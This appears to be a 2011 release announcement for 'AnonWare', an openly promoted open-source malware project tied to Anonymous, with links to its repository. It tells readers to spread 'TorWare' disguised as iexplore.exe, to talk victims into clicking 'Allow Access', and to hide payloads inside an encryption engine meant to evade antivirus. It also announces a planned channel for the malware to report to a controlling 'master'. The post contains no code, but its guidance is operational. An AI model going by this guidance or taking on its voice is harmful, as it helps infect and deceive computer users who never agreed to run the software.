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opendev

AnonWare - opensource malware - Release Timeline & Info

Aug 7th, 2011
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  1. http://www.github.com/opendeveloper/anonware
  2.  
  3. /* Welcome to a New age of malware...
  4. *
  5. * One where AV software can't pick out the latest strain of malware,
  6. * one where it is open source and always changing-improving-evading.
  7. * An age in which this is only the begining. You can try to stop
  8. * AnonWare, but you can't stop what's to come.
  9. * We Do Not Forgive. We Do Not Forget.
  10. * Expect US.
  11. */
  12.  
  13. bcuz this is just a press release type thing, i'm not gonna request that you "plzplzplz tweetlikeshareetc" (^)_(^) but that doesn't mean that you can't if you want to...
  14.  
  15. Since we got such good reception for the first pre-release of AnonWare, I decided to inform all of you Anons and skript kiddies about the next release of AnonWare :P
  16.  
  17. First, a little talk about what we have now. So far, it's just been me and applsap working on it, but we're still doing things.
  18.  
  19. The first thing to introduce is TorWare, a completed piece of malware ready-to-spread, created specifically for you skript kiddies. it automatically donates the computer's bandwith to the Tor anonymity network while it's connected to the Interweb. just go into the TorWare bin\debug directory and spread iexplore.exe. the only drawback? the first time a user is infected it shows this screen: http://img220.imageshack.us/img220/6904/securityalert.png. you'll need to somehow convince the user to click "Allow Access." if you're physically sitting there installing it on the machine, it shouldn't be hard. oh, and if you wanna modify the code, you'll need to copy tor.exe to C:\hi\tor.exe or else it will return an error.
  20.  
  21. The second thing to introduce is the Crypt0n encryption engine. one of the nice security researchers at Sophos has told us that we need an encryption engine in our malware, so i added it. most people won't have to worry about it; it's just a little thing that you should only modify if you understand how to do it. btw: CodePlayground.cs and Crypton.cs don't actually *do* anything when compiled; everything is handled by Program.cs. add malware code to the place that says "insert code here". it should all be on one line, and you'll need to delete all comments starting with \\. also any "s should be replaced by \"
  22.  
  23. The next thing to include in it is a communications module that'll allow the malware to communicate with the master.
  24.  
  25. Finally, I will try to get the first release of AnonWare ready by at most 1 week after the #RefRef release, or whenever the excitement around #refref dies down (we don't wanna compete for attention cause #refref would win :P)
  26.  
  27. if you have any suggestions, please email them to opendev@hushmail.com or post them on our AnonSource thread: http://nero.secondsource.info/p/forum/forum_viewtopic.php?2433.last
  28.  
  29. once again, you can get the latest available release at http://www.github.com/opendeveloper/anonware
  30.  
  31. ithinkthat'sallso
  32. kthx bi.
  33.  
  34. ~OpenDev
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